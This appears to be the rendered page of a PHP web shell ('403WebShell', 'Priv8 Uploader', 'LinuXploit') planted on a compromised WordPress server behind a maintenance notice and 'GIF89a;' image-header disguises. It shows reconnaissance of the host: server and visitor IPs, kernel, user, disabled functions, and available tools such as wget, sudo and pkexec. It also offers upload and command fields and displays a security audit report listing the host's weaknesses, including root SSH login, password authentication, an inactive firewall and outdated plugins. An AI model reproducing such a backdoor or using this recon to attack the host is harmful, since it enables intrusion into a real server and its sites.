WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




GIF89a; 
Priv8 Uploader By InMyMine7
Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64




403WebShell
403Webshell




Server IP : 140.82.29.182  /  Your IP : 216.73.217.73
Web Server : nginx/1.18.0
System : Linux usa-ref 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/

Upload File : 

current_dir [ Writeable ]
document_root [ Writeable ]





 



Command : 



[ Back ]     

Current File : /home/security_report_usa-ref_2026-08-30_01-39.txt
=======================================================================
 SECURITY AUDIT REPORT — usa-ref
 Generated: Sun Aug 30 01:39:41 UTC 2026
=======================================================================

-----------------------------------------------------------------
SECTION 1: OS & SYSTEM
-----------------------------------------------------------------
OS: Ubuntu
OS Version: 20.04

Disk Usage (/):
  Used: 19G / 57G (36% used, 35G free)

-----------------------------------------------------------------
SECTION 2: PHP
-----------------------------------------------------------------
PHP 7.4.3-4ubuntu2.29 (cli) (built: Mar 25 2025 18:57:03) ( NTS )

-----------------------------------------------------------------
SECTION 3: SSH CONFIG
-----------------------------------------------------------------
SSH Port: 22
PermitRootLogin: yes
yes
PasswordAuthentication: yes
yes

-----------------------------------------------------------------
SECTION 4: FIREWALL
-----------------------------------------------------------------
Status: inactive

-----------------------------------------------------------------
SECTION 5: FAIL2BAN
-----------------------------------------------------------------
Fail2ban: NOT FOUND — installing now...
INSTALL FAILED — check manually (apt error above, if any)

-----------------------------------------------------------------
SECTION 6: AUTO SECURITY UPDATES
-----------------------------------------------------------------
APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Unattended-Upgrade "1";
enabled

-----------------------------------------------------------------
SECTION 7: OPEN PORTS
-----------------------------------------------------------------
Netid  State   Recv-Q  Send-Q          Local Address:Port    Peer Address:Port  Process                                                                         
udp    UNCONN  0       0               127.0.0.53%lo:53           0.0.0.0:*      users:(("systemd-resolve",pid=674,fd=12))                                      
udp    UNCONN  0       0        140.82.29.182%enp1s0:68           0.0.0.0:*      users:(("systemd-network",pid=672,fd=19))                                      
tcp    LISTEN  0       70                  127.0.0.1:33060        0.0.0.0:*      users:(("mysqld",pid=836,fd=21))                                               
tcp    LISTEN  0       151                 127.0.0.1:3306         0.0.0.0:*      users:(("mysqld",pid=836,fd=24))                                               
tcp    LISTEN  0       511                   0.0.0.0:80           0.0.0.0:*      users:(("nginx",pid=2347667,fd=10),("nginx",pid=2347666,fd=10),("nginx",pid=792,fd=10))
tcp    LISTEN  0       4096            127.0.0.53%lo:53           0.0.0.0:*      users:(("systemd-resolve",pid=674,fd=13))                                      
tcp    LISTEN  0       128                   0.0.0.0:22           0.0.0.0:*      users:(("sshd",pid=749497,fd=3))                                               
tcp    LISTEN  0       511                   0.0.0.0:443          0.0.0.0:*      users:(("nginx",pid=2347667,fd=12),("nginx",pid=2347666,fd=12),("nginx",pid=792,fd=12))
tcp    LISTEN  0       511                      [::]:80              [::]:*      users:(("nginx",pid=2347667,fd=11),("nginx",pid=2347666,fd=11),("nginx",pid=792,fd=11))
tcp    LISTEN  0       128                      [::]:22              [::]:*      users:(("sshd",pid=749497,fd=4))                                               
tcp    LISTEN  0       511                      [::]:443             [::]:*      users:(("nginx",pid=2347667,fd=13),("nginx",pid=2347666,fd=13),("nginx",pid=792,fd=13))

-----------------------------------------------------------------
SECTION 8: CLAMAV / ANTIVIRUS
-----------------------------------------------------------------
ClamAV: NOT FOUND — installing now...
ClamAV INSTALLED
Freshclam (definitions updater): active
Scan schedule: NOT SCHEDULED — adding weekly scan (Sunday 2 AM)...
  Weekly cron added: scans /var/www every Sunday 2 AM, logs to /var/log/clamav-weekly-scan.log

-----------------------------------------------------------------
SECTION 9: SSL CERTIFICATES (auto-detected domains)
-----------------------------------------------------------------
No domains auto-detected from nginx configs. Pass domains manually if needed.

-----------------------------------------------------------------
SECTION 10: BACKUP CHECK
-----------------------------------------------------------------
No backup path given — searching for common backup cron jobs / tools...
# Notice that tasks will be started based on the cron's system
# For example, you can run a backup of all your user accounts
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
0 4 * * * /home/backupscript.sh
  ^ backup-related cron entries found above

-----------------------------------------------------------------
SECTION 11: WORDPRESS SITES (auto-detected)
-----------------------------------------------------------------

  >> WP site: /var/www/html/usa-ref.com
     Core version: 7.1 (latest: 7.1)
     PLUGIN OUTDATED: akismet (5.0.1 -> 5.7.2)
     PLUGIN OUTDATED: all-in-one-wp-migration (7.70 -> 7.110)
     PLUGIN OUTDATED: classic-editor (1.6.2 -> 1.7.0)
     PLUGIN OUTDATED: contact-form-7-mailchimp-extension (0.9.19 -> 0.9.81.09)
     PLUGIN OUTDATED: contact-form-7 (5.6.4 -> 6.1.7)
     PLUGIN OUTDATED: custom-fonts (1.3.7 -> 2.1.17)
     PLUGIN OUTDATED: duplicate-page (4.4.9 -> 4.5.9)
     PLUGIN OUTDATED: litespeed-cache (5.3 -> 7.9)
     PLUGIN OUTDATED: newsletter (7.5.6 -> 9.3.5)
     PLUGIN OUTDATED: safe-svg (2.0.3 -> 2.4.0)
     PLUGIN OUTDATED: wps-hide-login (1.9.6 -> 1.9.19)
     wp-config.php permissions: 600 
     PHP files modified in last 7 days: 45 (review if unexpectedly high)
     No known malware signatures found in scanned files

  >> WP site: /var/www/html/usareference.net
     Core version: 7.1 (latest: 7.1)
     PLUGIN OUTDATED: akismet (5.0.1 -> 5.7.2)
     PLUGIN OUTDATED: all-in-one-wp-migration (7.70 -> 7.110)
     PLUGIN OUTDATED: classic-editor (1.6.2 -> 1.7.0)
     PLUGIN OUTDATED: contact-form-7-mailchimp-extension (0.9.19 -> 0.9.81.09)
     PLUGIN OUTDATED: contact-form-7 (5.6.4 -> 6.1.7)
     PLUGIN OUTDATED: custom-fonts (1.3.7 -> 2.1.17)
     PLUGIN OUTDATED: duplicate-page (4.4.9 -> 4.5.9)
     PLUGIN OUTDATED: litespeed-cache (5.3 -> 7.9)
     PLUGIN OUTDATED: newsletter (7.5.6 -> 9.3.5)
     PLUGIN OUTDATED: safe-svg (2.0.3 -> 2.4.0)
     PLUGIN OUTDATED: wps-hide-login (1.9.6 -> 1.9.19)
     wp-config.php permissions: 600 
     PHP files modified in last 7 days: 134 (review if unexpectedly high)
     No known malware signatures found in scanned files

=======================================================================
 END OF REPORT
=======================================================================


Youez - 2016 - github.com/yon3zu
LinuXploit